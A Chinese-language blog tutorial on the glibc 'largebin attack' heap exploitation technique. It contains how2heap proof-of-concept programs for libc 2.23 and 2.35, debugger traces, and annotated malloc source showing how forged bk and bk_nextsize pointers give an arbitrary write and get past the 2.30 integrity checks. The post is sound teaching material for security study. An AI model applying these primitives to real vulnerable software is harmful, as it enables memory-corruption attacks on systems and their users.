selph
selph
发布于 2024-01-22 / 113 阅读
1
0

堆利用详解:largebin attack

简介

本文参考自 how2heap 和 malloc.c 源码进行介绍,介绍2.23和2.35情况下的largebin attack

漏洞原因

Use-After-Freeoverflow write

适用范围:

  • libc 2.23 - 至今
  • 可以伪造largebin chunk的bk_nextsize指针

利用原理

漏洞利用基于伪造bk_nextsize指针,类似于未排序块攻击。攻击者通过篡改已释放的大块的 bk_nextsize 指针,利用大块排序机制达到攻击效果。攻击涉及到对大块的多次请求、释放和重新分配,通过覆写已释放大块的指针,以触发排序操作,并最终使目标被覆写。

相关技巧

  • libc 2.30加入了对排序时非最小chunk情况下的双链表完整性检查

    • libc 2.30之前,可以通过整理largebin非最小chunk完成利用
    • libc 2.30之后,需要通过整理largebin中最小chunk完成利用

利用效果

  • 执行一次任意地址写,写入一个chunk的地址
  • 成功利用该漏洞可以作为其他漏洞利用技术的入口,例如启用多个 fastbin 攻击,覆写 global_max_fast 变量等。

实验:how2heap - large bin attack 2.23

实验环境:libc 2.23

/*

    This technique is taken from
    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

    [...]

              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;

    [...]

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

    For more details on how large-bins are handled and sorted by ptmalloc,
    please check the Background section in the aforementioned link.

    [...]

 */

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
 
    fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
           " the third large chunk during the free()\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
            " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
            ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 
    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
            " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
            " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
            " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
            // 修改大小,bk,bk_nextsize
            // 缩小大小,在unsortedbin sort阶段使其进入largebin的首个
            // 设置bk为target-0x10,bk_nextsize为target-0x20

    p2[-1] = 0x3f1;  // size
    p2[0] = 0;       // fd
    p2[2] = 0;       // fd_nextsize
    p2[1] = (unsigned long)(&stack_var1 - 2);    // bk
    p2[3] = (unsigned long)(&stack_var2 - 4);    // bk_nextsize


    //------------------------------------

    malloc(0x90);
 
    fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
            " During this time, targets should have already been rewritten:\n");

    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // sanity check
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

这个示例演示写入一个巨大的无符号整数到栈里,实践中的 largebin attack 常用于为后续的利用做准备,例如覆写全局变量global_max_fast为fastbin attack做准备

本例的流程是:

  1. 申请3个large size chunk,A,B,C,释放前两个A,B,进入了unsortedbin

    pwndbg> bin
    fastbins
    empty
    unsortedbin
    all: 0x603460 —▸ 0x603000 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x603460 /* '`4`' */
    smallbins
    empty
    largebins
    empty
    
  2. 再次申请一个普通的 chunk 触发 unsortedbin 的 sorting 过程,将另一个large size chunk 装入 largebin 中

    pwndbg> bin
    fastbins
    empty
    unsortedbin
    all: 0x6030a0 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x6030a0
    smallbins
    empty
    largebins
    0x500-0x530: 0x603460 —▸ 0x7ffff7fcbfa8 (main_arena+1160) ◂— 0x603460 /* '`4`' */
    
  3. 释放第三个 chunk C,得到一个 unsortedbin chunk

    pwndbg> bin
    fastbins
    empty
    unsortedbin
    all: 0x6039a0 —▸ 0x6030a0 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x6039a0
    smallbins
    empty
    largebins
    0x500-0x530: 0x603460 —▸ 0x7ffff7fcbfa8 (main_arena+1160) ◂— 0x603460 /* '`4`' */
    
  4. 模拟漏洞,修改largebin chunk的size,bk和bk_nextsize三个字段

    0x603460        0x0000000000000000      0x00000000000003f1      ................         <-- largebins[0x4][0]
    0x603470        0x0000000000000000      0x00007fffffffdfc0      ................
    0x603480        0x0000000000000000      0x00007fffffffdfb8      ................
    
  5. 申请内存,触发利用:向stack_var变量中写入整理的unsortedbin chunk的地址0x6039a0(具体过程见下面探究)

    pwndbg> p/x stack_var1
    $3 = 0x6039a0
    pwndbg> p/x stack_var2
    $4 = 0x6039a0
    

探究:在 malloc 触发漏洞的时候,经历了哪些过程?

在调用malloc的时候,此时的bin的状况:

pwndbg> bin
fastbins
empty
unsortedbin
all: 0x6039a0 —▸ 0x6030a0 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x6039a0
smallbins
empty
largebins
0x500-0x530 [corrupted]
FD: 0x603460 ◂— 0x0
BK: 0x603460 —▸ 0x7fffffffdfc0 ◂— 0x0

本次 malloc 中经历的过程简述(完整过程见参考资料[4]中的博客文章):

  1. 大小检查,不满足fastbin,继续

  2. 大小检查,满足smallbin,但是smallbin中没有chunk,继续

  3. unsortedbin 处理过程,从后向前遍历unsortedbin,取出一个chunk,第一轮

    1. 大小合法性检查:不能太小也不能太大

    2. 判断是否能使用remainder,此时申请的大小是0x90,对应到chunk大小就是0xa0,unsortedbin的大小依次分别是0x511和0x391(last_remainder)

    3. 当前chunk是0x511的那个,不是last_remainder,所以会跳过last_remainder的过程

    4. unsortedbin chunk 断链

    5. 大小没有精确匹配,该chunk存入largebin,并进行排序整理,把同组内按照从小到大进行排序

      1. 此时,该largebin chunk会排入刚刚的largebin chunk之后,比较大小没有对size合法性的检查,size被篡改了也不会影响流程,也没有双链表完整性检查
  4. unsortedbin 处理过程,第二轮,下一个chunk是last_ramainder,chunk会从remainder机制中分配出去

  5. 函数返回

问题出在了 largebin 排序的过程中,相关代码:

            /* place chunk in bin */

            if (in_smallbin_range(size))
            {
                victim_index = smallbin_index(size);
                bck = bin_at(av, victim_index);
                fwd = bck->fd;
            }
            else
            {
                victim_index = largebin_index(size);
                bck = bin_at(av, victim_index);
                fwd = bck->fd;

                /* maintain large bins in sorted order */
                if (fwd != bck)
                {
                    /* Or with inuse bit to speed comparisons */
                    size |= PREV_INUSE;
                    /* if smaller than smallest, bypass loop below */
                    assert((bck->bk->size & NON_MAIN_ARENA) == 0);
                    if ((unsigned long)(size) < (unsigned long)(bck->bk->size)) // 直接取出来大小进行比较,大小被篡改也没影响
                    {
                        // size 是 unsortedbin chunk size,bck是largebin.bck
                        // 这是即将装入的 chunk 小的情况
                        // 主要是插入到第二个双链表中
                        fwd = bck;
                        bck = bck->bk;
                        // 设置新chunk的fd_nextsize与bk_nextsize为原本chunk的
                        victim->fd_nextsize = fwd->fd;
                        victim->bk_nextsize = fwd->fd->bk_nextsize;
                      
                        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                    else    // 即将装入的chunk大于原本largebin chunk的情况
                    {
                        assert((fwd->size & NON_MAIN_ARENA) == 0);
                        // 找到一个刚好小于目标chunk的
                        while ((unsigned long)size < fwd->size)
                        {
                            fwd = fwd->fd_nextsize;
                            assert((fwd->size & NON_MAIN_ARENA) == 0);
                        }
                        // 大小相同就插入到后面,不需要处理nextsize链表
                        if ((unsigned long)size == (unsigned long)fwd->size)
                            /* Always insert in the second position.  */
                            fwd = fwd->fd;
                        else
                        {
                            // nextsize插入节点(双链表中间插入)
                            victim->fd_nextsize = fwd;
                            victim->bk_nextsize = fwd->bk_nextsize;
                            fwd->bk_nextsize = victim;
                            victim->bk_nextsize->fd_nextsize = victim;  // 第一个产生任意地址写的地方
                        }
                        bck = fwd->bk;  // 第二个产生任意写的地方(1
                    }
                }
                else
                    victim->fd_nextsize = victim->bk_nextsize = victim;
            }
            // 插入链表
            mark_bin(av, victim_index);
            victim->bk = bck;
            victim->fd = fwd;
            fwd->bk = victim;
            bck->fd = victim;   // 第二个产生任意写的地方(2

可以看到,这里先判断大小,如果是largebin大小,就先进行排序:

  1. 在对应的bin中找到刚好比自己大的chunk(fwd),根据fwd获取到bck
  2. 然后在fwd和bck两个chunk中间,nextsize链表进行插入
  3. 最后在把fd,bk这个链表插入到两个chunk中间

注意:这里对chunk size没有任何校验,即使被篡改了,也会把修改后的值当正常来用,以及,这里对双链表插入操作没有任何检查,双链表如果损坏,可造成任意地址写入的问题

篡改bk和bk_nextsize的结果:

  1. 在bk指向地址-0x10处写入一个堆地址(被整理进去的unsortedbin chunk的地址)
  2. 在bk_nextsize指向地址-0x20处写入一个堆地址(被整理进去的unsortedbin chunk的地址)

总结

综上,进行这种利用需要满足的条件:

  1. 有largebin chunk,且大小是bin中最小的,能修改bk和bk_nextsize指针
  2. 释放一个大一点的unsortedbin到该largebin中,使其在触发sorting阶段被整理进入largebin中

实验:how2heap - large bin attack 2.35

实验环境:libc 2.35

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

	if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
		fwd = bck;
		bck = bck->bk;
		victim->fd_nextsize = fwd->fd;
		victim->bk_nextsize = fwd->fd->bk_nextsize;
		fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
	}


*/

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
  
  printf("====================================================================\n\n");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidate\n");

  printf("\n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  printf("\n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  printf("\n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  printf("\n");

  p1[3] = (size_t)((&target)-4);	// 修改bk_nextsize
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  printf("\n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  printf("\n");

  printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);

  return 0;
}

新的缓解机制是在libc2.30版本新增了两个双链表完整性检查

类似上个实验,首先是准备一个largebin chunk和unsortedbin hcunk:

pwndbg> bin
tcachebins
empty
fastbins
empty
unsortedbin
all: 0x5555555596e0 —▸ 0x7ffff7fa2ce0 (main_arena+96) ◂— 0x5555555596e0
smallbins
empty
largebins
0x400-0x430: 0x555555559290 —▸ 0x7ffff7fa30d0 (main_arena+1104) ◂— 0x555555559290

只修改bk_nextsize为目标地址-0x20,再次申请触发sorting机制完成任意写:

0x555555559290  0x0000000000000000      0x0000000000000431      ........1.......         <-- largebins[0x0][0]
0x5555555592a0  0x00007ffff7fa30d0      0x00007ffff7fa30d0      .0.......0......
0x5555555592b0  0x0000555555559290      0x00007fffffffdf70      ..UUUU..p.......

任意写的结果:把进行sorting的unsortedbin chunk地址写入目标位置

pwndbg> p/x *0x00007fffffffdf90
$5 = 0x555596e0

探究:新增的缓解机制的绕过要如何理解?

新增的缓解机制相关代码如下:

                /* maintain large bins in sorted order */
                // 维护largebin的顺序
                if (fwd != bck)
                {
                    /* Or with inuse bit to speed comparisons */
                    size |= PREV_INUSE;
                    /* if smaller than smallest, bypass loop below */
                    assert(chunk_main_arena(bck->bk));
                    if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk))
                    {
                        fwd = bck;
                        bck = bck->bk;

                        victim->fd_nextsize = fwd->fd;
                        victim->bk_nextsize = fwd->fd->bk_nextsize;
                        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;	// 从这里进行任意写利用!
                    }
                    else
                    {
                        assert(chunk_main_arena(fwd));
                        while ((unsigned long)size < chunksize_nomask(fwd))
                        {
                            fwd = fwd->fd_nextsize;
                            assert(chunk_main_arena(fwd));
                        }

                        if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
                            /* Always insert in the second position.  */
                            fwd = fwd->fd;
                        else
                        {
                            victim->fd_nextsize = fwd;
                            victim->bk_nextsize = fwd->bk_nextsize;
                            if (__glibc_unlikely(fwd->bk_nextsize->fd_nextsize != fwd))
                                malloc_printerr("malloc(): largebin double linked list corrupted (nextsize)");
                            fwd->bk_nextsize = victim;
                            victim->bk_nextsize->fd_nextsize = victim;
                        }
                        bck = fwd->bk;
                        if (bck->fd != fwd)
                            malloc_printerr("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
                else
                    victim->fd_nextsize = victim->bk_nextsize = victim;
            }
            // 添加到bin中,链表添加成员
            mark_bin(av, victim_index);
            victim->bk = bck;
            victim->fd = fwd;
            fwd->bk = victim;
            bck->fd = victim;

这种双链表完整性检查在libc2.29中给unsortedbin断链过程中添加了,是无法绕过的,但这里为什么可以绕过呢?

注意看这里的代码,之前2.23实验中,是通过整理一个非最小largebin chunk进入bin,走的else分支实现的利用,走该分支可以在bk和bk_nextsize两个链表插入操作中同时进行2次任意写

这里else分支的该操作被ban了,但是if分支依然可用:

                    if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk))
                    {
                        fwd = bck;
                        bck = bck->bk;

                        victim->fd_nextsize = fwd->fd;
                        victim->bk_nextsize = fwd->fd->bk_nextsize;
                        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;	// 从这里进行任意写利用!
                    }

利用条件发生了变化:

  1. largebin chunk的bk_nextsize可以被修改
  2. 需要被整理进largebin的unsortedbin chunk size为largebin中的最小

参考资料


评论